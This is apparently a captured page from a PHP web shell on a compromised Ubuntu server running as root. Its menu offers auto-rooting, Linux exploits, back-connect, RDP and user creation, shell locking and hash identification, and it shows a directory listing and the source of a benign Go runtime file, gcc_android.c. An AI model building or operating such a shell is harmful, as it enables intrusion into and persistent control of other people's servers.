Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
runtime /
cgo /
[ HOME SHELL ]
Name
Size
Permission
Action
asm_386.s
716
B
-rw-r--r--
asm_amd64.s
1.63
KB
-rw-r--r--
asm_arm.s
1.7
KB
-rw-r--r--
asm_arm64.s
1.82
KB
-rw-r--r--
asm_mips64x.s
1.86
KB
-rw-r--r--
asm_mipsx.s
1.77
KB
-rw-r--r--
asm_ppc64x.s
3.11
KB
-rw-r--r--
asm_s390x.s
1.25
KB
-rw-r--r--
asm_wasm.s
223
B
-rw-r--r--
callbacks.go
3.96
KB
-rw-r--r--
callbacks_aix.go
399
B
-rw-r--r--
callbacks_traceback.go
471
B
-rw-r--r--
cgo.go
887
B
-rw-r--r--
dragonfly.go
484
B
-rw-r--r--
freebsd.go
548
B
-rw-r--r--
gcc_386.S
834
B
-rw-r--r--
gcc_aix_ppc64.S
2.69
KB
-rw-r--r--
gcc_aix_ppc64.c
1.29
KB
-rw-r--r--
gcc_amd64.S
968
B
-rw-r--r--
gcc_android.c
2.56
KB
-rw-r--r--
gcc_arm.S
1.12
KB
-rw-r--r--
gcc_arm64.S
1.19
KB
-rw-r--r--
gcc_context.c
529
B
-rw-r--r--
gcc_darwin_386.c
1.38
KB
-rw-r--r--
gcc_darwin_amd64.c
1.38
KB
-rw-r--r--
gcc_darwin_arm.c
4.3
KB
-rw-r--r--
gcc_darwin_arm64.c
4.51
KB
-rw-r--r--
gcc_dragonfly_amd64.c
1.35
KB
-rw-r--r--
gcc_fatalf.c
469
B
-rw-r--r--
gcc_freebsd_386.c
1.35
KB
-rw-r--r--
gcc_freebsd_amd64.c
1.59
KB
-rw-r--r--
gcc_freebsd_arm.c
1.84
KB
-rw-r--r--
gcc_freebsd_arm64.c
1.41
KB
-rw-r--r--
gcc_freebsd_sigaction.c
1.99
KB
-rw-r--r--
gcc_libinit.c
3.2
KB
-rw-r--r--
gcc_libinit_windows.c
3.09
KB
-rw-r--r--
gcc_linux_386.c
1.66
KB
-rw-r--r--
gcc_linux_amd64.c
2.35
KB
-rw-r--r--
gcc_linux_arm.c
1.63
KB
-rw-r--r--
gcc_linux_arm64.c
2.44
KB
-rw-r--r--
gcc_linux_mips64x.c
1.68
KB
-rw-r--r--
gcc_linux_mipsx.c
1.71
KB
-rw-r--r--
gcc_linux_ppc64x.S
2.96
KB
-rw-r--r--
gcc_linux_s390x.c
1.41
KB
-rw-r--r--
gcc_mips64x.S
1.76
KB
-rw-r--r--
gcc_mipsx.S
1.51
KB
-rw-r--r--
gcc_mmap.c
867
B
-rw-r--r--
gcc_netbsd_386.c
1.8
KB
-rw-r--r--
gcc_netbsd_amd64.c
1.81
KB
-rw-r--r--
gcc_netbsd_arm.c
1.85
KB
-rw-r--r--
gcc_netbsd_arm64.c
1.77
KB
-rw-r--r--
gcc_openbsd_386.c
1.32
KB
-rw-r--r--
gcc_openbsd_amd64.c
1.33
KB
-rw-r--r--
gcc_openbsd_arm.c
1.37
KB
-rw-r--r--
gcc_openbsd_arm64.c
1.36
KB
-rw-r--r--
gcc_ppc64x.c
1.43
KB
-rw-r--r--
gcc_s390x.S
1.37
KB
-rw-r--r--
gcc_setenv.c
549
B
-rw-r--r--
gcc_sigaction.c
2.03
KB
-rw-r--r--
gcc_signal2_darwin_armx.c
543
B
-rw-r--r--
gcc_signal_darwin_armx.c
6
KB
-rw-r--r--
gcc_signal_darwin_lldb.c
332
B
-rw-r--r--
gcc_solaris_amd64.c
1.78
KB
-rw-r--r--
gcc_traceback.c
864
B
-rw-r--r--
gcc_util.c
1.85
KB
-rw-r--r--
gcc_windows_386.c
1008
B
-rw-r--r--
gcc_windows_amd64.c
1013
B
-rw-r--r--
iscgo.go
646
B
-rw-r--r--
libcgo.h
3.42
KB
-rw-r--r--
libcgo_unix.h
604
B
-rw-r--r--
mmap.go
1014
B
-rw-r--r--
netbsd.go
545
B
-rw-r--r--
openbsd.go
562
B
-rw-r--r--
setenv.go
649
B
-rw-r--r--
sigaction.go
829
B
-rw-r--r--
signal_darwin_arm.s
1.52
KB
-rw-r--r--
signal_darwin_arm64.s
1.8
KB
-rw-r--r--
signal_darwin_armx.go
308
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gcc_android.c
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. #include <stdarg.h> #include <android/log.h> #include <pthread.h> #include <dlfcn.h> #include "libcgo.h" void fatalf(const char* format, ...) { va_list ap; // Write to both stderr and logcat. // // When running from an .apk, /dev/stderr and /dev/stdout // redirect to /dev/null. And when running a test binary // via adb shell, it's easy to miss logcat. fprintf(stderr, "runtime/cgo: "); va_start(ap, format); vfprintf(stderr, format, ap); va_end(ap); fprintf(stderr, "\n"); va_start(ap, format); __android_log_vprint(ANDROID_LOG_FATAL, "runtime/cgo", format, ap); va_end(ap); abort(); } // Truncated to a different magic value on 32-bit; that's ok. #define magic1 (0x23581321345589ULL) // From https://android.googlesource.com/platform/bionic/+/refs/heads/master/libc/private/bionic_asm_tls.h#69. #define TLS_SLOT_APP 2 // inittls allocates a thread-local storage slot for g. // // It finds the first available slot using pthread_key_create and uses // it as the offset value for runtime.tls_g. static void inittls(void **tlsg, void **tlsbase) { pthread_key_t k; int i, err; void *handle, *get_ver, *off; // Check for Android Q where we can use the free TLS_SLOT_APP slot. handle = dlopen("libc.so", RTLD_LAZY); if (handle == NULL) { fatalf("inittls: failed to dlopen main program"); return; } // android_get_device_api_level is introduced in Android Q, so its mere presence // is enough. get_ver = dlsym(handle, "android_get_device_api_level"); dlclose(handle); if (get_ver != NULL) { off = (void *)(TLS_SLOT_APP*sizeof(void *)); // tlsg is initialized to Q's free TLS slot. Verify it while we're here. if (*tlsg != off) { fatalf("tlsg offset wrong, got %ld want %ld\n", *tlsg, off); } return; } err = pthread_key_create(&k, nil); if(err != 0) { fatalf("pthread_key_create failed: %d", err); } pthread_setspecific(k, (void*)magic1); // If thread local slots are laid out as we expect, our magic word will // be located at some low offset from tlsbase. However, just in case something went // wrong, the search is limited to sensible offsets. PTHREAD_KEYS_MAX was the // original limit, but issue 19472 made a higher limit necessary. for (i=0; i<384; i++) { if (*(tlsbase+i) == (void*)magic1) { *tlsg = (void*)(i*sizeof(void *)); pthread_setspecific(k, 0); return; } } fatalf("inittls: could not find pthread key"); } void (*x_cgo_inittls)(void **tlsg, void **tlsbase) = inittls;
Close